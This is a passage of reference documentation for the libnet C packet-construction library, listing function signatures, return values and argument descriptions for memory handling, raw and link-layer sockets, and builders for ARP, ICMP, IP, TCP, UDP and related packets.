libnet_init_packet() creates memory for a packet. Well, it doesn't so much create memory as it requests it from the OS. It does, however, make certain the memory is zero‑filled. The function accepts two arguments, the packet size and the address of the pointer to the packet. The packet size parameter may be 0, in which case the library will attempt to guess a packet size for you. The pointer to a pointer is necessary as we are allocating memory locally. If we simply pass in a pointer (even though we are passing in an address, we are referencing the value as a pointer ‑so in essence we would be passing by value) the memory will be lost. If we pass by address, we will retain the requested heap memory.

This function is a good example of interface hiding. This function is essentially a malloc() wrapper. By using this function the details of what's really happening are abstracted so that you, the programmer, can worry about your task at hand.

void libnet_destroy_packet(u_char **);

RV on success: NA

RV on failure: NA

Reentrant: yes

Arguments: 1 ‑ pointer to a character pointer to containing packet memory

libnet_destroy_packet() is the free() analog to libnet_init_packet. It destroys the packet referenced by 'buf'. In reality, it is of course a simple free() wrapper. It frees the heap memory and points `buf` to NULL to dispel the dangling pointer. The function does make the assertion that `buf` is not NULL. A pointer to a pointer is passed to maintain interface consistency.

int libnet_init_packet_arena(struct libnet_arena **, u_short, u_short);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ pointer to an arena pointer (preallocated arena) 2 ‑ number of packets

3 ‑ packet size

libnet_init_packet_arena() allocates and initializes a memory pool. If you plan on building and sending several different packets, this is a good choice. It allocates a pool of memory from which you can grab chunks to build packets (see next_packet_from_arena()). It takes the address to an arena structure pointer, and hints on the possible packet size and number of packets. The last two arguments are used to compute the size of the memory pool. As before, they can be set to 0 and the library will attempt to choose a decent value. The function returns ‑1 if the malloc fails or 1 if everything goes ok.

u_char *libnet_next_packet_from_arena(struct libnet_arena **, u_short);

RV on success: pointer to the requested packet memory

RV on failure: NULL

Reentrant: yes

Arguments: 1 ‑ pointer to an arena pointer 2 ‑ requested packet size

libnet_next_packet_from_arena() returns a chunk of memory from the specified arena of the requested size and decrements the available byte counter. If the requested memory is not available from the arena, the function returns NULL. Note that there is nothing preventing a poorly coded application from using more memory than requested and causing all kinds of problems. Take heed.

void libnet_destroy_packet_arena(struct libnet_arena **);

RV on success: NA

RV on failure: NA

Reentrant: yes

Arguments: 1 ‑ pointer to an arena pointer

libnet_destroy_packet_arena() frees the memory associated with the specified arena.

Address Resolution Functions

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

u_char *libnet_host_lookup(u_long, u_short);

RV on success: human readable IP address

RV on failure: NULL

Reentrant: no

Arguments: 1 ‑ network‑byte ordered IP address 2 ‑ flag to specify whether or not to look up canonical hostnames (symbolic constant)

libnet_host_lookup() converts the supplied network‑ordered (big‑endian) IP address into its human‑readable counterpart. If the usename flag is LIBNET_RESOLVE, the function will attempt to resolve the IP address (possibly incurring DNS traffic) and return a canonical hostname, otherwise if it is LIBNET_DONT_RESOLVE (or if the lookup fails), the function returns a dotted‑decimal ASCII string. This function is hopelessly non reentrant as it uses static data.

void libnet_host_lookup_r(u_long, u_short, u_char *);

RV on success: NA

RV on failure: NA

Reentrant: maybe

Arguments: 1 ‑ network‑byte ordered IP address 2 ‑ flag to specify whether or not to look up canonical hostnames (symbolic constant)

libnet_host_lookup_r() is the planned reentrant version of the above function. As soon as reentrant network resolver libraries become available, this function will likewise be reentrant. An additional argument of a buffer to store the converted (or resolved) IP address is supplied by the user.

u_long libnet_name_resolve(u_char *, u_short);

RV on success: network‑byte ordered IP address

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ human readable hostname 2 ‑ flag to specify whether or not to look up canonical hostnames (symbolic constant)

libnet_name_resolve() takes a NULL terminated ASCII string representation of an IP address (dots and decimals or, if the usename flag is LIBNET_RESOLVE, canonical hostname) and converts it into a network‑ordered (big‑endian) unsigned long value.

u_long libnet_get_ipaddr(struct link_int *, const u_char *, const u_char *);

RV on success: requested IP address

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ pointer to a link interface structure 2 ‑ pointer to the device to query 3 ‑ pointer to a buf to contain a possible error message

libnet_get_ipaddr() returns the IP address of a specified network device. The function takes a pointer to a link layer interface structure, a pointer to the network device name, and an empty buffer to be used in case of error. Upon success the function returns the IP address of the specified interface in network‑byte order or 0 upon error (and errbuf will contain a reason).

struct ether_addr *libnet_get_hwaddr(struct link_int *, const u_char *, const u_char *);

RV on success: requested ethernet address (inside of struct ether_addr) RV on failure: NULL

Reentrant: depends on architecture

Arguments: 1 ‑ pointer to a link interface structure 2 ‑ pointer to the device to query 3 ‑ pointer to a buf to contain a possible error message

libnet_get_hwaddr() returns the hardware address of a specified network device. At the time of this writing, only ethernet is supported. The function takes a pointer to a link layer interface structure, a pointer to the network device name, and an empty buffer to be used in case of error. The function returns the MAC address of the specified interface upon success or 0 upon error (and errbuf will contain a reason).

Packet Handling Functions

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

int libnet_open_raw_sock(int);

RV on success: opened socket file descriptor

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ protocol number of the desired socket‑type (symbolic constant)

libnet_open_raw_sock() opens a raw IP socket of the specified protocol type (supported types vary from system to system, but usually you'll want to open an IPPROTO_RAW socket). The function also sets the IP_HDRINCL socket option. Returned is the socket file descriptor or ‑1 on error. The function can fail if either of the underlying calls to socket or setsockopt fail. Checking errno will reveal the reason for the error.

int libnet_close_raw_sock(int);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ socket file descriptor to be closed

libnet_close_raw_sock() will close the referenced raw socket.

int libnet_select_device(struct sockaddr_in *, u_char **, u_char *);

RV on success: 1

RV on failure: ‑1

Reentrant: no

Arguments: 1 ‑ preallocated sockaddr_in structure pointer 2 ‑ pointer to a char pointer containing the device 3 ‑ pointer to a buf to contain a possible error message

libnet_select_device() will run through the list of interfaces and select one for use (ignoring the loopback device). If the device argument points to NULL (don't pass in a NULL pointer, the function expects a pointer to a pointer, and C can't derefrence a NULL pointer) it will try to fill it in with the first non‑loopback device it finds, otherwise, it will try to open the specified device. If successful, 1 is returned (and if device was NULL, it will now contain the device name which can be used in libnet_*link*() type calls). The function can fail for a variety of reasons, including socket system call failures, ioctl failures, if no interfaces are found, etc.. If such an error occurs, ‑1 is returned and errbuf will contain a reason.

struct link_int *libnet_open_link_interface(char *, char *);

RV on success: filled in link‑layer interface structure

RV on failure: NULL

Reentrant: yes

Arguments: 1 ‑ pointer to a char containing the device to open 2 ‑ pointer to a buf to contain a possible error message

libnet_open_link_interface() opens a low‑level packet interface. This is required in order to be able inject link layer frames. Supplied is a u_char pointer to the interface device name and a u_char pointer to an error buffer. Returned is a filled‑in link_int structure or NULL on error (with the error buffer containing the reason). The function can fail for a variety of reasons due to the fact that it is architecture specific.

int libnet_close_link_interface(struct link_int *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ pointer to a link interface structure to be closed

libnet_close_link_interface() closes an opened low‑level packet interface.

int libnet_write_ip(int, u_char *, int);

RV on success: number of bytes written

RV on failure: ‑1

Reentrant: Yes

Arguments: 1 ‑ socket file descriptor 2 ‑ pointer to the packet buffer containing an IP datagram 3 ‑ total packet size

libnet_write_ip() writes an IP packet to the network. The first argument is the socket created with a previous call to libnet_open_raw_sock, the second is a pointer to a buffer containing a complete IP datagram, and the third argument is the total packet size. The function returns the number of bytes written upon success or ‑1 on error (with errno containing the reason).

int libnet_write_link_layer(struct link_int *, const u_char *, u_char *, int);

RV on success: number of bytes written

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ pointer to an opened link interface structure 2 ‑ pointer to the network device 3 ‑ pointer to the packet buffer 4 ‑ total packet size

libnet_write_link_layer() writes a link‑layer frame to the network. The first argument is a pointer to a filled‑in libnet_link_int structure, the next is a pointer to the network device, the third is the raw packet and the last is the packet size. Returned is the number of bytes written or ‑1 on error.

int libnet_do_checksum(u_char *, int, int);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ pointer to the packet buffer 2 ‑ protocol number of packet type (symbolic constant) 3 ‑ total packet size

libnet_do_checksum() calculates the checksum for a packet. The first argument is a pointer to a fully built IP packet. The second is the transport protocol of the packet and the third is the packet length (not including the IP header). The function calculates the checksum for the transport protocol and fills it in at the appropriate header location (this function should be called only after a complete packet has been built).

Note that when using raw sockets the IP checksum is always computed by the kernel and does not need to done by the user. When using the link layer interface the IP checksum must be explicitly computed (in this case, the protocol would be of type IPPROTO_IP and the size would include IP_H). The function returns 1 upon success or ‑1 if the protocol is of an unsupported type. Currently supported are:

Value Description

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

IPPROTO_TCP TCP

IPPROTO_UDP UDP

IPPROTO_ICMP ICMP

IPPROTO_IGMP IGMP

IPPROTO_IP IP

int libnet_build_arp(u_short, u_short, u_short, u_short, u_short, u_char *, u_char *, u_char *, u_char *, const u_char *, int, u_char *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ hardware address format (ARPHRD_ETHER) 2 ‑ protocol address format 3 ‑ length of the hardware address 4 ‑ length of the protocol address 5 ‑ ARP operation type (symbolic constant) 6 ‑ sender's hardware address 7 ‑ sender's protocol address 8 ‑ target's hardware address 9 ‑ target's protocol address 10 ‑ pointer to packet payload 11 ‑ packet payload size 12 ‑ pointer to pre‑allocated packet memory

libnet_build_arp() constructs an ARP (RARP) packet. At this point in the library, the function only builds ethernet/ARP packets, but this will be easy enough to change (whenever I get around to it). The first nine arguments are standard ARP header arguments, with the last three being standard libnet packet creation arguments. The ARP operation type should be one of the following symbolic types:

Value Description

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ARPOP_REQUEST ARP request

ARPOP_REPLY ARP reply

ARPOP_REVREQUEST RARP request

ARPOP_REVREPLY RARP reply

ARPOP_INVREQUEST request to identify peer ARPOP_INVREPLY reply identifying peer

All libnet packet creation functions contain the same three terminal arguments: a pointer to an optional payload (or NULL if no payload is to be included), the size of the payload in bytes (or 0 is no payload is included) and most importantly, a pointer to a pre‑allocated block of memory (which must be large enough to accommodate the entire ARP packet).

The only way this (or any libnet_build) function will return an error is if the memory which is supposed to be pre‑allocated points to NULL.

int libnet_build_dns(u_short, u_short, u_short, u_short, u_short, u_short, const u_char *, int, u_char *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ packet id

2 ‑ control flags

3 ‑ number of questions

4 ‑ number of answer resource records 5 ‑ number of authority resource records 6 ‑ number of additional resource records 7 ‑ pointer to packet payload 8 ‑ packet payload size

9 ‑ pointer to pre‑allocated packet memory

libnet_build_dns() constructs a DNS packet. The static DNS fields are included as the first six arguments, but the optional variable length fields must be included with the payload interface.

All libnet packet creation functions contain the same three terminal arguments: a pointer to an optional payload (or NULL if no payload is to be included), the size of the payload in bytes (or 0 if no payload is included) and most importantly, a pointer to a pre‑allocated block of memory (which must be large enough to accommodate the entire DNS packet).

The only way this (or any libnet_build) function will return an error is if the memory which is supposed to be pre‑allocated points to NULL.

int libnet_build_ethernet(u_char *, u_char *, u_short, const u_char *, int, u_char *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ pointer to the destination address (string) 2 ‑ pointer to the source address (string) 3 ‑ ethernet packet type (symbolic constant) 4 ‑ pointer to packet payload 5 ‑ packet payload size

6 ‑ pointer to pre‑allocated packet memory

libnet_build_ethernet() constructs an ethernet packet. The destination address and source address arguments are expected to be arrays of unsigned character bytes. The packet type should be one of the following:

Value Description

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ETHERTYPE_PUP PUP protocol

ETHERTYPE_IP IP protocol

ETHERTYPE_ARP ARP protocol

ETHERTYPE_REVARP Reverse ARP protocol

ETHERTYPE_VLAN IEEE VLAN tagging

ETHERTYPE_LOOPBACK Used to test interfaces

All libnet packet creation functions contain the same three terminal arguments: a pointer to an optional payload (or NULL if no payload is to be included), the size of the payload in bytes (or 0 if no payload is included) and most importantly, a pointer to a pre‑allocated block of memory (which must be large enough to accommodate the entire ethernet packet).

The only way this (or any libnet_build) function will return an error is if the memory which is supposed to be pre‑allocated points to NULL.

int libnet_build_icmp_echo(u_char, u_char, u_short, u_short, const u_char *, int, u_char *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ packet type (symbolic constant) 2 ‑ packet code (symbolic constant) 3 ‑ packet id

4 ‑ packet sequence number 5 ‑ pointer to packet payload 6 ‑ packet payload size

7 ‑ pointer to pre‑allocated packet memory

libnet_build_icmp_echo() constructs an ICMP_ECHO / ICMP_ECHOREPLY packet. The packet type should be ICMP_ECHOREPLY or ICMP_ECHO and the code should be 0.

All libnet packet creation functions contain the same three terminal arguments: a pointer to an optional payload (or NULL if no payload is to be included), the size of the payload in bytes (or 0 if no payload is included) and most importantly, a pointer to a pre‑allocated block of memory (which must be large enough to accommodate the entire ICMP_ECHO packet).

The only way this (or any libnet_build) function will return an error is if the memory which is supposed to be pre‑allocated points to NULL.

int libnet_build_icmp_mask(u_char, u_char, u_short, u_short, u_long, const u_char *, int, u_char *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ packet type (symbolic constant) 2 ‑ packet code (symbolic constant) 3 ‑ packet id

4 ‑ packet sequence number 5 ‑ IP netmask

6 ‑ pointer to packet payload 7 ‑ packet payload size

8 ‑ pointer to pre‑allocated packet memory

libnet_build_icmp_mask() constructs an ICMP_MASKREQ / ICMP_MASKREPLY packet. The packet type should be either ICMP_MASKREQ or ICMP_MASKREPLY and the code should be 0. The IP netmask argument should be a 32‑bit network‑byte ordered subnet mask.

All libnet packet creation functions contain the same three terminal arguments: a pointer to an optional payload (or NULL if no payload is to be included), the size of the payload in bytes (or 0 if no payload is included) and most importantly, a pointer to a pre‑allocated block of memory (which must be large enough to accommodate the entire ICMP_ECHO packet).

The only way this (or any libnet_build) function will return an error is if the memory which is supposed to be pre‑allocated points to NULL.

int libnet_build_icmp_unreach(u_char, u_char, u_short, u_char, u_short, u_short, u_char, u_char, u_long, u_long, const u_char *, int, u_char *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ packet type (symbolic constant) 2 ‑ packet code (symbolic constant) 3 ‑ original IP length

4 ‑ original IP TOS

5 ‑ original IP id

6 ‑ original IP fragmentation bits 7 ‑ original IP time to live 8 ‑ original IP protocol

9 ‑ original IP source address 10 ‑ original IP destination address 11 ‑ pointer to original IP payload 12 ‑ original IP payload size 13 ‑ pointer to pre‑allocated packet memory

libnet_build_icmp_unreach() constructs an ICMP_UNREACH packet. The 3rd through the 12th arguments are used to build the IP header of the original packet that caused the error message (the ICMP unreachable). The packet type should be ICMP_UNREACH and the code should be one of the following:

Value Description

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ICMP_UNREACH_NET network is unreachable ICMP_UNREACH_HOST host is unreachable ICMP_UNREACH_PROTOCOL protocol is unreachable ICMP_UNREACH_PORT port is unreachable ICMP_UNREACH_NEEDFRAG fragmentation required but DF bit was set ICMP_UNREACH_SRCFAIL source routing failed ICMP_UNREACH_NET_UNKNOWN network is unknown ICMP_UNREACH_HOST_UNKNOWN host is unknown ICMP_UNREACH_ISOLATED host / network is isolated ICMP_UNREACH_NET_PROHIB network is prohibited ICMP_UNREACH_HOST_PROHIB host is prohibited ICMP_UNREACH_TOSNET IP TOS and network ICMP_UNREACH_TOSHOST IP TOS and host ICMP_UNREACH_FILTER_PROHIB prohibitive filtering ICMP_UNREACH_HOST_PRECEDENCE host precedence ICMP_UNREACH_PRECEDENCE_CUTOFF host precedence cut‑off

All libnet packet creation functions contain the same three terminal arguments: a pointer to an optional payload (or NULL if no payload is to be included), the size of the payload in bytes (or 0 if no payload is included) and most importantly, a pointer to a pre‑allocated block of memory (which must be large enough to accommodate the entire ICMP_ECHO packet).

The only way this (or any libnet_build) function will return an error is if the memory which is supposed to be pre‑allocated points to NULL.

int libnet_build_icmp_timeexceed(u_char, u_char, u_short, u_char, u_short, u_short, u_char, u_char, u_long, u_long, const u_char *, int, u_char *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ packet type (symbolic constant) 2 ‑ packet code (symbolic constant) 3 ‑ original IP length

4 ‑ original IP TOS

5 ‑ original IP id

6 ‑ original IP fragmentation bits 7 ‑ original IP time to live 8 ‑ original IP protocol

9 ‑ original IP source address 10 ‑ original IP destination address 11 ‑ pointer to original IP payload 12 ‑ original IP payload size 13 ‑ pointer to pre‑allocated packet memory

libnet_build_icmp_timeexceed() contructs an ICMP_TIMEXCEED packet. This function is identical to libnet_build_icmp_unreach with the exception of the packet type and code. The packet type should be either ICMP_TIMXCEED_INTRANS for packets that expired in transit (TTL expired) or ICMP_TIMXCEED_REASS for packets that expired in the fragmentation reassembly queue.

All libnet packet creation functions contain the same three terminal arguments: a pointer to an optional payload (or NULL if no payload is to be included), the size of the payload in bytes (or 0 is no payload is included) and most importantly, a pointer to a pre‑allocated block of memory (which must be large enough to accommodate the entire ICMP_ECHO packet).

The only way this (or any libnet_build) function will return an error is if the pointer to the memory which is supposed to be pre‑allocated points to NULL.

int libnet_build_icmp_redirect(u_char, u_char, u_long, u_short, u_char, u_short, u_short, u_char, u_char, u_long, u_long, const u_char *, int, u_char *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ packet type (symbolic constant) 2 ‑ packet code (symbolic constant) 3 ‑ IP address of the gateway 4 ‑ original IP length

5 ‑ original IP TOS

6 ‑ original IP id

7 ‑ original IP fragmentation bits 8 ‑ original IP time to live 9 ‑ original IP protocol

10 ‑ original IP source address 11 ‑ original IP destination address 12 ‑ pointer to original IP payload 13 ‑ original IP payload size 14 ‑ pointer to pre‑allocated packet memory

libnet_build_icmp_redirect() constructs an ICMP_REDIRECT packet. This function is similar to libnet_build_icmp_unreach, the differences being the type and code and the addition of an argument to hold the IP address of the gateway that should be used (hence the redirect). The packet type should be ICMP_REDIRECT and the code should be one of the following:

Value Description

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ICMP_UNREACH_NET redirect for network ICMP_UNREACH_HOST redirect for host ICMP_UNREACH_PROTOCOL redirect for type of service and network ICMP_UNREACH_PORT redirect for type of service and host

All libnet packet creation functions contain the same three terminal arguments: a pointer to an optional payload (or NULL if no payload is to be included), the size of the payload in bytes (or 0 is no payload is included) and most importantly, a pointer to a pre‑allocated block of memory (which must be large enough to accommodate the entire ICMP_ECHO packet).

The only way this (or any libnet_build) function will return an error is if the pointer to the memory which is supposed to be pre‑allocated points to NULL.

int libnet_build_icmp_timestamp(u_char, u_char, u_short, u_short, n_time, n_time, n_time, const u_char *, int, u_char *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ packet type (symbolic constant) 2 ‑ packet code (symbolic constant) 3 ‑ packet id

4 ‑ packet sequence number 5 ‑ originate timestamp

6 ‑ receive timestamp

7 ‑ transmit timestamp

8 ‑ pointer to packet payload 9 ‑ packet payload size

10 ‑ pointer to pre‑allocated packet memory

libnet_build_icmp_timestamp() constructs an ICMP_TSTAMP / ICMP_TSTAMPREPLY packet. The packet type should be ICMP_TSTAMP or ICMP_TSTAMPREPLY and the code should be 0.

All libnet packet creation functions contain the same three terminal arguments: a pointer to an optional payload (or NULL if no payload is to be included), the size of the payload in bytes (or 0 is no payload is included) and most importantly, a pointer to a pre‑allocated block of memory (which must be large enough to accommodate the entire ICMP_ECHO packet).

The only way this (or any libnet_build) function will return an error is if the pointer to the memory which is supposed to be pre‑allocated points to NULL.

int libnet_build_igmp(u_char type, u_char code, u_long ip, const u_char *, int, u_char *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ packet type

2 ‑ packet code

3 ‑ IP address

4 ‑ pointer to packet payload 5 ‑ packet payload size

6 ‑ pointer to pre‑allocated packet memory

libnet_build_igmp() constructs an IGMP packet. The packet type should be one of the following:

Value Description

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

IGMP_MEMBERSHIP_QUERY membership query IGMP_V1_MEMBERSHIP_REPORT version 1 membership report IGMP_V2_MEMBERSHIP_REPORT version 2 membership report IGMP_LEAVE_GROUP leave‑group message

The code, which is a routing sub‑message, should probably be left to 0, unless you know what you're doing.

All libnet packet creation functions contain the same three terminal arguments: a pointer to an optional payload (or NULL if no payload is to be included), the size of the payload in bytes (or 0 if no payload is included) and most importantly, a pointer to a pre‑allocated block of memory (which must be large enough to accommodate the entire ICMP_ECHO packet).

The only way this (or any libnet_build) function will return an error is if the pointer which points to memory which is supposed to be pre‑allocated points to NULL.

int libnet_build_ip(u_short, u_char, u_short, u_short, u_char, u_char, u_long, u_long, const u_char *, int, u_char *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ packet length (not including the IP header) 2 ‑ type of service (symbolic constant) 3 ‑ packet id

4 ‑ fragmentation bits (symbolic constant) / offset 5 ‑ time to live

6 ‑ protocol (symbolic constant) 7 ‑ source address

8 ‑ destination address

9 ‑ pointer to packet payload 10 ‑ packet payload size 11 ‑ pointer to pre‑allocated packet memory

libnet_build_ip() constructs the mighty IP packet. The fragmentation field may be 0 or contain some combination of the following:

Value Description

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

IP_DF Don't fragment this datagram (this is only valid when alone) IP_MF More fragments on the way (OR'd together with an offset value)

The IP_OFFMASK is used to retrieve the offset from the fragmentation field.

IP packets may be no larger than IP_MAXPACKET bytes.

The source and destination addresses need to be in network‑byte order.

The payload interface should only be used to construct an arbitrary or non‑supported type IP datagram. To construct a TCP, UDP, or similar type packet, use the relevant libnet_build function.

All libnet packet creation functions contain the same three terminal arguments: a pointer to an optional payload (or NULL if no payload is to be included), the size of the payload in bytes (or 0 if no payload is included) and most importantly, a pointer to a pre‑allocated block of memory (which must be large enough to accommodate the entire ICMP_ECHO packet).

The only way this (or any libnet_build) function will return an error is if the pointer to the memory which is supposed to be pre‑allocated points to NULL.

int libnet_build_rip(u_char, u_char, u_short, u_short, u_short, u_long, u_long, u_long, u_long, const u_char *, int, u_char *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ command (symbolic constant) 2 ‑ version (symbolic constant) 3 ‑ routing domain (or zero) 4 ‑ address family

5 ‑ route tag (or zero)

6 ‑ IP address

7 ‑ netmask (or zero)

8 ‑ next hop IP address (or zero) 9 ‑ metric

10 ‑ pointer to packet payload 11 ‑ packet payload size

12 ‑ pointer to pre‑allocated packet memory

libnet_build_rip() constructs a RIP packet. Depending on the version of RIP you are using, packet fields are slightly different. The following chart highlights these differences:

Argument Version 1 Version 2

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

first command command

second RIPVER_1 RIPVER_2

third zero routing domain

fourth address family address family

fifth zero route tag

sixth IP address IP address

seventh zero subnet mask

eighth zero next hop IP

ninth metric metric

The RIP commands should be one of the following:

Value Description

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

RIPCMD_REQUEST RIP request

RIPCMD_RESPONSE RIP response

RIPCMD_TRACEON RIP tracing on

RIPCMD_TRACEOFF RIP tracing off

RIPCMD_POLL RIP polling

RIPCMD_POLLENTRY

RIPCMD_MAX

All libnet packet creation functions contain the same three terminal arguments: a pointer to an optional payload (or NULL if no payload is to be included), the size of the payload in bytes (or 0 if no payload is included) and most importantly, a pointer to a pre‑allocated block of memory (which must be large enough to accommodate the entire ICMP_ECHO packet).

The only way this (or any libnet_build) function will return an error is if the pointer that points to memory which is supposed to be pre‑allocated points to NULL.

int libnet_build_tcp(u_short, u_short, u_long, u_long, u_char, u_short, u_short, const u_char *, int, u_char *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ source port

2 ‑ destination port

3 ‑ sequence number

4 ‑ acknowledgement number 5 ‑ control flags (symbolic constant) 6 ‑ window size

7 ‑ urgent pointer

8 ‑ pointer to packet payload 9 ‑ packet payload size

10 ‑ pointer to pre‑allocated packet memory

libnet_build_tcp() constructs a TCP packet. The control flags should be one or more of the following (OR'd together if need be):

Value Description

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TH_URG urgent data is present

TH_ACK acknowledgement number field should be checked TH_PSH push this data to the application as soon as possible TH_RST reset the referenced connection

TH_SYN synchronize sequence numbers

TH_FIN finished sending data (sender)

All libnet packet creation functions contain the same three terminal arguments: a pointer to an optional payload (or NULL if no payload is to be included), the size of the payload in bytes (or 0 if no payload is included) and most importantly, a pointer to a pre‑allocated block of memory (which must be large enough to accommodate the entire ICMP_ECHO packet).

The only way this (or any libnet_build) function will return an error is if the pointer to memory which is supposed to be pre‑allocated points to NULL.

int libnet_build_udp(u_short, u_short, const u_char *, int, u_char *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ source port

2 ‑ destination port

3 ‑ pointer to packet payload 4 ‑ packet payload size

5 ‑ pointer to pre‑allocated packet memory

libnet_build_udp() constructs a UDP packet. Please remember that UDP checksums are considered mandatory by the host requirements RFC.

All libnet packet creation functions contain the same three terminal arguments: a pointer to an optional payload (or NULL if no payload is to be included), the size of the payload in bytes (or 0 if no payload is included) and most importantly, a pointer to a pre‑allocated block of memory (which must be large enough to accommodate the entire ICMP_ECHO packet).

The only way this (or any libnet_build) function will return an error is if the pointer to memory which is supposed to be pre‑allocated points to NULL.

int libnet_insert_ipo(struct ipoption *opt, u_char opt_len, u_char *buf);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ pointer to an IP options structure (filled in) 2 ‑ length of the options 3 ‑ pointer to a complete IP datagram

libnet_insert_ipo() inserts IP options into a pre‑built IP packet. Supplied is a pointer to an ip options structure, the size of this options list, and a pointer the pre‑built packet. The options list should be constructed as they will appear on the wire, as they are simply inserted into the packet at the appropriate location.

The function returns ‑1 if the options would result in packet too large (greater then 65535 bytes), or if the packet buffer is NULL. It is an unchecked runtime error for the user to have not allocated enough heap memory for the IP packet plus the IP options.

int libnet_insert_tcpo(struct tcpoption *, u_char, u_char *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ pointer to an TCP options structure (filled in) 2 ‑ length of the options 3 ‑ pointer to a complete TCP packet

libnet_insert_tcpo() inserts TCP options into a pre‑built IP/TCP packet. Supplied is a pointer to a tcp options structure, the size of this options list, and a pointer the pre‑built packet. The options list should be constructed as they will appear on the wire, as they are simply inserted into the packet at the appropriate location.

The function returns ‑1 if the options would result in packet too large (greater then 65535 bytes), if the packet isn't an IP/TCP packet, if the options list if longer than 20 bytes, or if the packet buffer is NULL. It is an unchecked runtime error for the user to have not allocated enough heap memory for the IP/TCP packet plus the IP options.

Support Functions

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

int libnet_seed_prand();

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: NA

libnet_seed_prand() seeds the pseudo‑random number generator. The function is basically a wrapper to srandom. It makes a call to gettimeofday to get entropy. It can return ‑1 if the call to gettimeofday fails (check errno). It otherwise returns 1.

u_long libnet_get_prand(int);

RV on success: 1

RV on failure: NA

Reentrant: yes

Arguments: 1 ‑ maximum size of pseudo‑random number desired (symbolic constant)

libnet_get_prand() generates a psuedo‑random number. The range of the returned number is controlled by the function's only argument:

Value Description

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PR2 0 ‑ 1

PR8 0 ‑ 255

PR16 0 ‑ 32767

PRu16 0 ‑ 65535

PR32 0 ‑ 2147483647

PRu32 0 ‑ 4294967295

The function does not fail.

void libnet_hex_dump(u_char *buf, int len, int swap, FILE *stream);

RV on success: NA

RV on failure: NA

Reentrant: yes

Arguments: 1 ‑ packet to dump

2 ‑ packet length

3 ‑ byte swap flag

4 ‑ previously opened stream to dump to the packet to

libnet_hex_dump() prints out a packet in hexadecimal. It will print the packet as it appears in memory, or as it will appear on the wire, depending on the value of the byte‑swap flag.

The function prints the packet to a previously opened stream (such as stdout).

Note that on big‑endian architectures such as Solaris, the packet will appear the same in memory as it will on the wire.

int libnet_plist_chain_new(struct libnet_plist_chain **, char *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ pointer to a libnet_plist_chain pointer 2 ‑ pointer to the token list

libnet_plist_chain_new() constructs a new libnet port‑list chain. A libnet port‑list chain is a fast and simple way of implementing port‑list ranges (useful for applications that employ a list of ports ‑ like a port scanner). You'll see naive implementations that allocate an entire array of 65535 bytes and fill in the desired ports one by one. However, we only really need to store the beginning port and the ending port, and we can efficiently store multiple port ranges (delimited by commas) by using a linked list chain with each node holding the beginning and ending port for a particular range. For example, The port range `1‑1024` would occupy one node with the beginning port being 1 and the ending port being 1024. The port range `25,110‑161,6000` would result in 3 nodes being allocated. Single ports are taken as single ranges (port 25 ends up being 25‑25). A port list range without a terminating port (port_num ‑ ) is considered shorthand for (port_num ‑ 65535).

The arguments are a pointer to libnet_plist_chain pointer (which will end up being the head of the linked list) which needs to deference an allocated libnet_plist_chain structure and pointer to the port‑list (token‑list) itself.

The function checks this character port list for valid tokens (1234567890,‑ ) and returns an error if an unrecognized token is found.

